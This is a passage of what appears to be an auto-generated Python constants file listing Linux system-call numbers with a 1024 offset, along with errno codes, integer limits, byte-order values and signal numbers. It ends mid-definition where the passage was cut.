__NR_ustat = Constant('__NR_ustat',(1024 + 45)) __NR_dup2 = Constant('__NR_dup2',(1024 + 46)) __NR_setreuid = Constant('__NR_setreuid',(1024 + 47)) __NR_setregid = Constant('__NR_setregid',(1024 + 48)) __NR_getresuid = Constant('__NR_getresuid',(1024 + 49)) __NR_setresuid = Constant('__NR_setresuid',(1024 + 50)) __NR_getresgid = Constant('__NR_getresgid',(1024 + 51)) __NR_setresgid = Constant('__NR_setresgid',(1024 + 52)) __NR_getgroups = Constant('__NR_getgroups',(1024 + 53)) __NR_setgroups = Constant('__NR_setgroups',(1024 + 54)) __NR_getpgid = Constant('__NR_getpgid',(1024 + 55)) __NR_setpgid = Constant('__NR_setpgid',(1024 + 56)) __NR_setsid = Constant('__NR_setsid',(1024 + 57)) __NR_getsid = Constant('__NR_getsid',(1024 + 58)) __NR_sethostname = Constant('__NR_sethostname',(1024 + 59)) __NR_setrlimit = Constant('__NR_setrlimit',(1024 + 60)) __NR_getrlimit = Constant('__NR_getrlimit',(1024 + 61)) __NR_getrusage = Constant('__NR_getrusage',(1024 + 62)) __NR_gettimeofday = Constant('__NR_gettimeofday',(1024 + 63)) __NR_settimeofday = Constant('__NR_settimeofday',(1024 + 64)) __NR_select = Constant('__NR_select',(1024 + 65)) __NR_poll = Constant('__NR_poll',(1024 + 66)) __NR_symlink = Constant('__NR_symlink',(1024 + 67)) __NR_readlink = Constant('__NR_readlink',(1024 + 68)) __NR_uselib = Constant('__NR_uselib',(1024 + 69)) __NR_swapon = Constant('__NR_swapon',(1024 + 70)) __NR_swapoff = Constant('__NR_swapoff',(1024 + 71)) __NR_reboot = Constant('__NR_reboot',(1024 + 72)) __NR_truncate = Constant('__NR_truncate',(1024 + 73)) __NR_ftruncate = Constant('__NR_ftruncate',(1024 + 74)) __NR_fchmod = Constant('__NR_fchmod',(1024 + 75)) __NR_fchown = Constant('__NR_fchown',(1024 + 76)) __NR_getpriority = Constant('__NR_getpriority',(1024 + 77)) __NR_setpriority = Constant('__NR_setpriority',(1024 + 78)) __NR_statfs = Constant('__NR_statfs',(1024 + 79)) __NR_fstatfs = Constant('__NR_fstatfs',(1024 + 80)) __NR_gettid = Constant('__NR_gettid',(1024 + 81)) __NR_semget = Constant('__NR_semget',(1024 + 82)) __NR_semop = Constant('__NR_semop',(1024 + 83)) __NR_semctl = Constant('__NR_semctl',(1024 + 84)) __NR_msgget = Constant('__NR_msgget',(1024 + 85)) __NR_msgsnd = Constant('__NR_msgsnd',(1024 + 86)) __NR_msgrcv = Constant('__NR_msgrcv',(1024 + 87)) __NR_msgctl = Constant('__NR_msgctl',(1024 + 88)) __NR_shmget = Constant('__NR_shmget',(1024 + 89)) __NR_shmat = Constant('__NR_shmat',(1024 + 90)) __NR_shmdt = Constant('__NR_shmdt',(1024 + 91)) __NR_shmctl = Constant('__NR_shmctl',(1024 + 92)) __NR_syslog = Constant('__NR_syslog',(1024 + 93)) __NR_setitimer = Constant('__NR_setitimer',(1024 + 94)) __NR_getitimer = Constant('__NR_getitimer',(1024 + 95)) __NR_vhangup = Constant('__NR_vhangup',(1024 + 99)) __NR_lchown = Constant('__NR_lchown',(1024 + 100)) __NR_remap_file_pages = Constant('__NR_remap_file_pages',(1024 + 101)) __NR_wait4 = Constant('__NR_wait4',(1024 + 102)) __NR_sysinfo = Constant('__NR_sysinfo',(1024 + 103)) __NR_clone = Constant('__NR_clone',(1024 + 104)) __NR_setdomainname = Constant('__NR_setdomainname',(1024 + 105)) __NR_uname = Constant('__NR_uname',(1024 + 106)) __NR_adjtimex = Constant('__NR_adjtimex',(1024 + 107)) __NR_init_module = Constant('__NR_init_module',(1024 + 109)) __NR_delete_module = Constant('__NR_delete_module',(1024 + 110)) __NR_quotactl = Constant('__NR_quotactl',(1024 + 113)) __NR_bdflush = Constant('__NR_bdflush',(1024 + 114)) __NR_sysfs = Constant('__NR_sysfs',(1024 + 115)) __NR_personality = Constant('__NR_personality',(1024 + 116)) __NR_afs_syscall = Constant('__NR_afs_syscall',(1024 + 117)) __NR_setfsuid = Constant('__NR_setfsuid',(1024 + 118)) __NR_setfsgid = Constant('__NR_setfsgid',(1024 + 119)) __NR_getdents = Constant('__NR_getdents',(1024 + 120)) __NR_flock = Constant('__NR_flock',(1024 + 121)) __NR_readv = Constant('__NR_readv',(1024 + 122)) __NR_writev = Constant('__NR_writev',(1024 + 123)) __NR_pread64 = Constant('__NR_pread64',(1024 + 124)) __NR_pwrite64 = Constant('__NR_pwrite64',(1024 + 125)) __NR__sysctl = Constant('__NR__sysctl',(1024 + 126)) __NR_mmap = Constant('__NR_mmap',(1024 + 127)) __NR_munmap = Constant('__NR_munmap',(1024 + 128)) __NR_mlock = Constant('__NR_mlock',(1024 + 129)) __NR_mlockall = Constant('__NR_mlockall',(1024 + 130)) __NR_mprotect = Constant('__NR_mprotect',(1024 + 131)) __NR_mremap = Constant('__NR_mremap',(1024 + 132)) __NR_msync = Constant('__NR_msync',(1024 + 133)) __NR_munlock = Constant('__NR_munlock',(1024 + 134)) __NR_munlockall = Constant('__NR_munlockall',(1024 + 135)) __NR_sched_getparam = Constant('__NR_sched_getparam',(1024 + 136)) __NR_sched_setparam = Constant('__NR_sched_setparam',(1024 + 137)) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',(1024 + 138)) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',(1024 + 139)) __NR_sched_yield = Constant('__NR_sched_yield',(1024 + 140)) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',(1024 + 141)) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',(1024 + 142)) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',(1024 + 143)) __NR_nanosleep = Constant('__NR_nanosleep',(1024 + 144)) __NR_nfsservctl = Constant('__NR_nfsservctl',(1024 + 145)) __NR_prctl = Constant('__NR_prctl',(1024 + 146)) __NR_old_getpagesize = Constant('__NR_old_getpagesize',(1024 + 147)) __NR_mmap2 = Constant('__NR_mmap2',(1024 + 148)) __NR_pciconfig_read = Constant('__NR_pciconfig_read',(1024 + 149)) __NR_pciconfig_write = Constant('__NR_pciconfig_write',(1024 + 150)) __NR_perfmonctl = Constant('__NR_perfmonctl',(1024 + 151)) __NR_sigaltstack = Constant('__NR_sigaltstack',(1024 + 152)) __NR_rt_sigaction = Constant('__NR_rt_sigaction',(1024 + 153)) __NR_rt_sigpending = Constant('__NR_rt_sigpending',(1024 + 154)) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',(1024 + 155)) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',(1024 + 156)) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',(1024 + 157)) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',(1024 + 158)) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',(1024 + 159)) __NR_getcwd = Constant('__NR_getcwd',(1024 + 160)) __NR_capget = Constant('__NR_capget',(1024 + 161)) __NR_capset = Constant('__NR_capset',(1024 + 162)) __NR_sendfile = Constant('__NR_sendfile',(1024 + 163)) __NR_getpmsg = Constant('__NR_getpmsg',(1024 + 164)) __NR_putpmsg = Constant('__NR_putpmsg',(1024 + 165)) __NR_socket = Constant('__NR_socket',(1024 + 166)) __NR_bind = Constant('__NR_bind',(1024 + 167)) __NR_connect = Constant('__NR_connect',(1024 + 168)) __NR_listen = Constant('__NR_listen',(1024 + 169)) __NR_accept = Constant('__NR_accept',(1024 + 170)) __NR_getsockname = Constant('__NR_getsockname',(1024 + 171)) __NR_getpeername = Constant('__NR_getpeername',(1024 + 172)) __NR_socketpair = Constant('__NR_socketpair',(1024 + 173)) __NR_send = Constant('__NR_send',(1024 + 174)) __NR_sendto = Constant('__NR_sendto',(1024 + 175)) __NR_recv = Constant('__NR_recv',(1024 + 176)) __NR_recvfrom = Constant('__NR_recvfrom',(1024 + 177)) __NR_shutdown = Constant('__NR_shutdown',(1024 + 178)) __NR_setsockopt = Constant('__NR_setsockopt',(1024 + 179)) __NR_getsockopt = Constant('__NR_getsockopt',(1024 + 180)) __NR_sendmsg = Constant('__NR_sendmsg',(1024 + 181)) __NR_recvmsg = Constant('__NR_recvmsg',(1024 + 182)) __NR_pivot_root = Constant('__NR_pivot_root',(1024 + 183)) __NR_mincore = Constant('__NR_mincore',(1024 + 184)) __NR_madvise = Constant('__NR_madvise',(1024 + 185)) __NR_stat = Constant('__NR_stat',(1024 + 186)) __NR_lstat = Constant('__NR_lstat',(1024 + 187)) __NR_fstat = Constant('__NR_fstat',(1024 + 188)) __NR_clone2 = Constant('__NR_clone2',(1024 + 189)) __NR_getdents64 = Constant('__NR_getdents64',(1024 + 190)) __NR_getunwind = Constant('__NR_getunwind',(1024 + 191)) __NR_readahead = Constant('__NR_readahead',(1024 + 192)) __NR_setxattr = Constant('__NR_setxattr',(1024 + 193)) __NR_lsetxattr = Constant('__NR_lsetxattr',(1024 + 194)) __NR_fsetxattr = Constant('__NR_fsetxattr',(1024 + 195)) __NR_getxattr = Constant('__NR_getxattr',(1024 + 196)) __NR_lgetxattr = Constant('__NR_lgetxattr',(1024 + 197)) __NR_fgetxattr = Constant('__NR_fgetxattr',(1024 + 198)) __NR_listxattr = Constant('__NR_listxattr',(1024 + 199)) __NR_llistxattr = Constant('__NR_llistxattr',(1024 + 200)) __NR_flistxattr = Constant('__NR_flistxattr',(1024 + 201)) __NR_removexattr = Constant('__NR_removexattr',(1024 + 202)) __NR_lremovexattr = Constant('__NR_lremovexattr',(1024 + 203)) __NR_fremovexattr = Constant('__NR_fremovexattr',(1024 + 204)) __NR_tkill = Constant('__NR_tkill',(1024 + 205)) __NR_futex = Constant('__NR_futex',(1024 + 206)) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',(1024 + 207)) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',(1024 + 208)) __NR_set_tid_address = Constant('__NR_set_tid_address',(1024 + 209)) __NR_fadvise64 = Constant('__NR_fadvise64',(1024 + 210)) __NR_tgkill = Constant('__NR_tgkill',(1024 + 211)) __NR_exit_group = Constant('__NR_exit_group',(1024 + 212)) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',(1024 + 213)) __NR_io_setup = Constant('__NR_io_setup',(1024 + 214)) __NR_io_destroy = Constant('__NR_io_destroy',(1024 + 215)) __NR_io_getevents = Constant('__NR_io_getevents',(1024 + 216)) __NR_io_submit = Constant('__NR_io_submit',(1024 + 217)) __NR_io_cancel = Constant('__NR_io_cancel',(1024 + 218)) __NR_epoll_create = Constant('__NR_epoll_create',(1024 + 219)) __NR_epoll_ctl = Constant('__NR_epoll_ctl',(1024 + 220)) __NR_epoll_wait = Constant('__NR_epoll_wait',(1024 + 221)) __NR_restart_syscall = Constant('__NR_restart_syscall',(1024 + 222)) __NR_semtimedop = Constant('__NR_semtimedop',(1024 + 223)) __NR_timer_create = Constant('__NR_timer_create',(1024 + 224)) __NR_timer_settime = Constant('__NR_timer_settime',(1024 + 225)) __NR_timer_gettime = Constant('__NR_timer_gettime',(1024 + 226)) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',(1024 + 227)) __NR_timer_delete = Constant('__NR_timer_delete',(1024 + 228)) __NR_clock_settime = Constant('__NR_clock_settime',(1024 + 229)) __NR_clock_gettime = Constant('__NR_clock_gettime',(1024 + 230)) __NR_clock_getres = Constant('__NR_clock_getres',(1024 + 231)) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',(1024 + 232)) __NR_fstatfs64 = Constant('__NR_fstatfs64',(1024 + 233)) __NR_statfs64 = Constant('__NR_statfs64',(1024 + 234)) __NR_mbind = Constant('__NR_mbind',(1024 + 235)) __NR_get_mempolicy = Constant('__NR_get_mempolicy',(1024 + 236)) __NR_set_mempolicy = Constant('__NR_set_mempolicy',(1024 + 237)) __NR_mq_open = Constant('__NR_mq_open',(1024 + 238)) __NR_mq_unlink = Constant('__NR_mq_unlink',(1024 + 239)) __NR_mq_timedsend = Constant('__NR_mq_timedsend',(1024 + 240)) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',(1024 + 241)) __NR_mq_notify = Constant('__NR_mq_notify',(1024 + 242)) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',(1024 + 243)) __NR_kexec_load = Constant('__NR_kexec_load',(1024 + 244)) __NR_vserver = Constant('__NR_vserver',(1024 + 245)) __NR_waitid = Constant('__NR_waitid',(1024 + 246)) __NR_add_key = Constant('__NR_add_key',(1024 + 247)) __NR_request_key = Constant('__NR_request_key',(1024 + 248)) __NR_keyctl = Constant('__NR_keyctl',(1024 + 249)) __NR_ioprio_set = Constant('__NR_ioprio_set',(1024 + 250)) __NR_ioprio_get = Constant('__NR_ioprio_get',(1024 + 251)) __NR_move_pages = Constant('__NR_move_pages',(1024 + 252)) __NR_inotify_init = Constant('__NR_inotify_init',(1024 + 253)) __NR_inotify_add_watch = Constant('__NR_inotify_add_watch',(1024 + 254)) __NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',(1024 + 255)) __NR_migrate_pages = Constant('__NR_migrate_pages',(1024 + 256)) __NR_openat = Constant('__NR_openat',(1024 + 257)) __NR_mkdirat = Constant('__NR_mkdirat',(1024 + 258)) __NR_mknodat = Constant('__NR_mknodat',(1024 + 259)) __NR_fchownat = Constant('__NR_fchownat',(1024 + 260)) __NR_futimesat = Constant('__NR_futimesat',(1024 + 261)) __NR_newfstatat = Constant('__NR_newfstatat',(1024 + 262)) __NR_unlinkat = Constant('__NR_unlinkat',(1024 + 263)) __NR_renameat = Constant('__NR_renameat',(1024 + 264)) __NR_linkat = Constant('__NR_linkat',(1024 + 265)) __NR_symlinkat = Constant('__NR_symlinkat',(1024 + 266)) __NR_readlinkat = Constant('__NR_readlinkat',(1024 + 267)) __NR_fchmodat = Constant('__NR_fchmodat',(1024 + 268)) __NR_faccessat = Constant('__NR_faccessat',(1024 + 269)) __NR_pselect6 = Constant('__NR_pselect6',(1024 + 270)) __NR_ppoll = Constant('__NR_ppoll',(1024 + 271)) __NR_unshare = Constant('__NR_unshare',(1024 + 272)) __NR_splice = Constant('__NR_splice',(1024 + 273)) __NR_set_robust_list = Constant('__NR_set_robust_list',(1024 + 274)) __NR_get_robust_list = Constant('__NR_get_robust_list',(1024 + 275)) __NR_sync_file_range = Constant('__NR_sync_file_range',(1024 + 276)) __NR_tee = Constant('__NR_tee',(1024 + 277)) __NR_vmsplice = Constant('__NR_vmsplice',(1024 + 278)) __NR_fallocate = Constant('__NR_fallocate',(1024 + 279)) __NR_getcpu = Constant('__NR_getcpu',(1024 + 280)) __NR_epoll_pwait = Constant('__NR_epoll_pwait',(1024 + 281)) __NR_utimensat = Constant('__NR_utimensat',(1024 + 282)) __NR_signalfd = Constant('__NR_signalfd',(1024 + 283)) __NR_timerfd = Constant('__NR_timerfd',(1024 + 284)) __NR_eventfd = Constant('__NR_eventfd',(1024 + 285)) __NR_timerfd_create = Constant('__NR_timerfd_create',(1024 + 286)) __NR_timerfd_settime = Constant('__NR_timerfd_settime',(1024 + 287)) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',(1024 + 288)) __NR_signalfd4 = Constant('__NR_signalfd4',(1024 + 289)) __NR_eventfd2 = Constant('__NR_eventfd2',(1024 + 290)) __NR_epoll_create1 = Constant('__NR_epoll_create1',(1024 + 291)) __NR_dup3 = Constant('__NR_dup3',(1024 + 292)) __NR_pipe2 = Constant('__NR_pipe2',(1024 + 293)) __NR_inotify_init1 = Constant('__NR_inotify_init1',(1024 + 294)) __NR_preadv = Constant('__NR_preadv',(1024 + 295)) __NR_pwritev = Constant('__NR_pwritev',(1024 + 296)) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',(1024 + 297)) __NR_recvmmsg = Constant('__NR_recvmmsg',(1024 + 298)) __NR_fanotify_init = Constant('__NR_fanotify_init',(1024 + 299)) __NR_fanotify_mark = Constant('__NR_fanotify_mark',(1024 + 300)) __NR_prlimit64 = Constant('__NR_prlimit64',(1024 + 301)) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',(1024 + 302)) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',(1024 + 303)) __NR_clock_adjtime = Constant('__NR_clock_adjtime',(1024 + 304)) __NR_syncfs = Constant('__NR_syncfs',(1024 + 305)) __NR_setns = Constant('__NR_setns',(1024 + 306)) __NR_sendmmsg = Constant('__NR_sendmmsg',(1024 + 307)) __NR_process_vm_readv = Constant('__NR_process_vm_readv',(1024 + 308)) __NR_process_vm_writev = Constant('__NR_process_vm_writev',(1024 + 309)) __NR_accept4 = Constant('__NR_accept4',(1024 + 310)) __NR_finit_module = Constant('__NR_finit_module',(1024 + 311)) __NR_sched_setattr = Constant('__NR_sched_setattr',(1024 + 312)) __NR_sched_getattr = Constant('__NR_sched_getattr',(1024 + 313)) __NR_renameat2 = Constant('__NR_renameat2',(1024 + 314)) __NR_getrandom = Constant('__NR_getrandom',(1024 + 315)) __NR_memfd_create = Constant('__NR_memfd_create',(1024 + 316)) __NR_bpf = Constant('__NR_bpf',(1024 + 317)) __NR_execveat = Constant('__NR_execveat',(1024 + 318)) __NR_userfaultfd = Constant('__NR_userfaultfd',(1024 + 319)) __NR_membarrier = Constant('__NR_membarrier',(1024 + 320)) __NR_kcmp = Constant('__NR_kcmp',(1024 + 321)) __NR_mlock2 = Constant('__NR_mlock2',(1024 + 322)) __NR_copy_file_range = Constant('__NR_copy_file_range',(1024 + 323)) __NR_preadv2 = Constant('__NR_preadv2',(1024 + 324)) __NR_pwritev2 = Constant('__NR_pwritev2',(1024 + 325)) __NR_statx = Constant('__NR_statx',(1024 + 326)) __NR_io_pgetevents = Constant('__NR_io_pgetevents',(1024 + 327)) __NR_perf_event_open = Constant('__NR_perf_event_open',(1024 + 328)) __NR_seccomp = Constant('__NR_seccomp',(1024 + 329)) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',(1024 + 330)) __NR_pkey_alloc = Constant('__NR_pkey_alloc',(1024 + 331)) __NR_pkey_free = Constant('__NR_pkey_free',(1024 + 332)) __NR_rseq = Constant('__NR_rseq',(1024 + 333)) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',(1024 + 424)) __NR_io_uring_setup = Constant('__NR_io_uring_setup',(1024 + 425)) __NR_io_uring_enter = Constant('__NR_io_uring_enter',(1024 + 426)) __NR_io_uring_register = Constant('__NR_io_uring_register',(1024 + 427)) __NR_open_tree = Constant('__NR_open_tree',(1024 + 428)) __NR_move_mount = Constant('__NR_move_mount',(1024 + 429)) __NR_fsopen = Constant('__NR_fsopen',(1024 + 430)) __NR_fsconfig = Constant('__NR_fsconfig',(1024 + 431)) __NR_fsmount = Constant('__NR_fsmount',(1024 + 432)) __NR_fspick = Constant('__NR_fspick',(1024 + 433)) __NR_pidfd_open = Constant('__NR_pidfd_open',(1024 + 434)) __NR_openat2 = Constant('__NR_openat2',(1024 + 437)) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',(1024 + 438)) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EDEADLK = Constant('EDEADLK',35) ENAMETOOLONG = Constant('ENAMETOOLONG',36) ENOLCK = Constant('ENOLCK',37) ENOSYS = Constant('ENOSYS',38) ENOTEMPTY = Constant('ENOTEMPTY',39) ELOOP = Constant('ELOOP',40) EWOULDBLOCK = Constant('EWOULDBLOCK',11) ENOMSG = Constant('ENOMSG',42) EIDRM = Constant('EIDRM',43) ECHRNG = Constant('ECHRNG',44) EL2NSYNC = Constant('EL2NSYNC',45) EL3HLT = Constant('EL3HLT',46) EL3RST = Constant('EL3RST',47) ELNRNG = Constant('ELNRNG',48) EUNATCH = Constant('EUNATCH',49) ENOCSI = Constant('ENOCSI',50) EL2HLT = Constant('EL2HLT',51) EBADE = Constant('EBADE',52) EBADR = Constant('EBADR',53) EXFULL = Constant('EXFULL',54) ENOANO = Constant('ENOANO',55) EBADRQC = Constant('EBADRQC',56) EBADSLT = Constant('EBADSLT',57) EDEADLOCK = Constant('EDEADLOCK',35) EBFONT = Constant('EBFONT',59) ENOSTR = Constant('ENOSTR',60) ENODATA = Constant('ENODATA',61) ETIME = Constant('ETIME',62) ENOSR = Constant('ENOSR',63) ENONET = Constant('ENONET',64) ENOPKG = Constant('ENOPKG',65) EREMOTE = Constant('EREMOTE',66) ENOLINK = Constant('ENOLINK',67) EADV = Constant('EADV',68) ESRMNT = Constant('ESRMNT',69) ECOMM = Constant('ECOMM',70) EPROTO = Constant('EPROTO',71) EMULTIHOP = Constant('EMULTIHOP',72) EDOTDOT = Constant('EDOTDOT',73) EBADMSG = Constant('EBADMSG',74) EOVERFLOW = Constant('EOVERFLOW',75) ENOTUNIQ = Constant('ENOTUNIQ',76) EBADFD = Constant('EBADFD',77) EREMCHG = Constant('EREMCHG',78) ELIBACC = Constant('ELIBACC',79) ELIBBAD = Constant('ELIBBAD',80) ELIBSCN = Constant('ELIBSCN',81) ELIBMAX = Constant('ELIBMAX',82) ELIBEXEC = Constant('ELIBEXEC',83) EILSEQ = Constant('EILSEQ',84) ERESTART = Constant('ERESTART',85) ESTRPIPE = Constant('ESTRPIPE',86) EUSERS = Constant('EUSERS',87) ENOTSOCK = Constant('ENOTSOCK',88) EDESTADDRREQ = Constant('EDESTADDRREQ',89) EMSGSIZE = Constant('EMSGSIZE',90) EPROTOTYPE = Constant('EPROTOTYPE',91) ENOPROTOOPT = Constant('ENOPROTOOPT',92) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94) EOPNOTSUPP = Constant('EOPNOTSUPP',95) ENOTSUP = Constant('ENOTSUP',95) EPFNOSUPPORT = Constant('EPFNOSUPPORT',96) EAFNOSUPPORT = Constant('EAFNOSUPPORT',97) EADDRINUSE = Constant('EADDRINUSE',98) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99) ENETDOWN = Constant('ENETDOWN',100) ENETUNREACH = Constant('ENETUNREACH',101) ENETRESET = Constant('ENETRESET',102) ECONNABORTED = Constant('ECONNABORTED',103) ECONNRESET = Constant('ECONNRESET',104) ENOBUFS = Constant('ENOBUFS',105) EISCONN = Constant('EISCONN',106) ENOTCONN = Constant('ENOTCONN',107) ESHUTDOWN = Constant('ESHUTDOWN',108) ETOOMANYREFS = Constant('ETOOMANYREFS',109) ETIMEDOUT = Constant('ETIMEDOUT',110) ECONNREFUSED = Constant('ECONNREFUSED',111) EHOSTDOWN = Constant('EHOSTDOWN',112) EHOSTUNREACH = Constant('EHOSTUNREACH',113) EALREADY = Constant('EALREADY',114) EINPROGRESS = Constant('EINPROGRESS',115) ESTALE = Constant('ESTALE',116) EUCLEAN = Constant('EUCLEAN',117) ENOTNAM = Constant('ENOTNAM',118) ENAVAIL = Constant('ENAVAIL',119) EISNAM = Constant('EISNAM',120) EREMOTEIO = Constant('EREMOTEIO',121) EDQUOT = Constant('EDQUOT',122) ENOMEDIUM = Constant('ENOMEDIUM',123) EMEDIUMTYPE = Constant('EMEDIUMTYPE',124) ECANCELED = Constant('ECANCELED',125) ENOKEY = Constant('ENOKEY',126) EKEYEXPIRED = Constant('EKEYEXPIRED',127) EKEYREVOKED = Constant('EKEYREVOKED',128) EKEYREJECTED = Constant('EKEYREJECTED',129) EOWNERDEAD = Constant('EOWNERDEAD',130) ENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131) ERFKILL = Constant('ERFKILL',132) EHWPOISON = Constant('EHWPOISON',133) __SYS_NERR = Constant('__SYS_NERR',((133) + 1)) __LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234) __BIG_ENDIAN = Constant('__BIG_ENDIAN',4321) __BYTE_ORDER = Constant('__BYTE_ORDER',1234) __FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234) LITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234) BIG_ENDIAN = Constant('BIG_ENDIAN',4321) BYTE_ORDER = Constant('BYTE_ORDER',1234) __WORDSIZE = Constant('__WORDSIZE',64) INT8_MAX = Constant('INT8_MAX',(127)) INT16_MAX = Constant('INT16_MAX',(32767)) INT32_MAX = Constant('INT32_MAX',(2147483647)) INT64_MAX = Constant('INT64_MAX',(9223372036854775807)) INT8_MIN = Constant('INT8_MIN',(-1 - (127))) INT16_MIN = Constant('INT16_MIN',(-1 - (32767))) INT32_MIN = Constant('INT32_MIN',(-1 - (2147483647))) INT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807))) INT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127)) INT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127))) INT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767)) INT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767))) INT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647)) INT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647))) INT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807)) INT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807))) UINT8_MAX = Constant('UINT8_MAX',0xff) UINT16_MAX = Constant('UINT16_MAX',0xffff) UINT32_MAX = Constant('UINT32_MAX',0xffffffff) UINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff) UINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff) UINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff) UINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff) UINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff) INTPTR_MIN = Constant('INTPTR_MIN',(-1 - (9223372036854775807))) INTPTR_MAX = Constant('INTPTR_MAX',(9223372036854775807)) UINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffffffffffff) SIZE_MAX = Constant('SIZE_MAX',0xffffffffffffffff) PTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (9223372036854775807))) PTRDIFF_MAX = Constant('PTRDIFF_MAX',(9223372036854775807)) INTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807))) INTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807)) UINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff) INT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127))) INT_FAST8_MAX = Constant('INT_FAST8_MAX',(127)) INT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807))) INT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807)) UINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff) UINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff) INT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (9223372036854775807))) INT_FAST16_MAX = Constant('INT_FAST16_MAX',(9223372036854775807)) UINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffffffffffff) INT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (9223372036854775807))) INT_FAST32_MAX = Constant('INT_FAST32_MAX',(9223372036854775807)) UINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffffffffffff) WINT_MIN = Constant('WINT_MIN',0) __FSUID_H = Constant('__FSUID_H',1) NSIG = Constant('NSIG',32) _NSIG = Constant('_NSIG',65) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGSEGV = Constant('SIGSEGV',11) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGUNUSED = Constant('SIGUNUSED',31) SIGBUS = Constant('SIGBUS',7) SIGUSR1 = Constant('SIGUSR1',10) SIGUSR2 = Constant('SIGUSR2',12) SIGSTKFLT = Constant('SIGSTKFLT',16) SIGCHLD = Constant('SIGCHLD',17) SIGCONT = 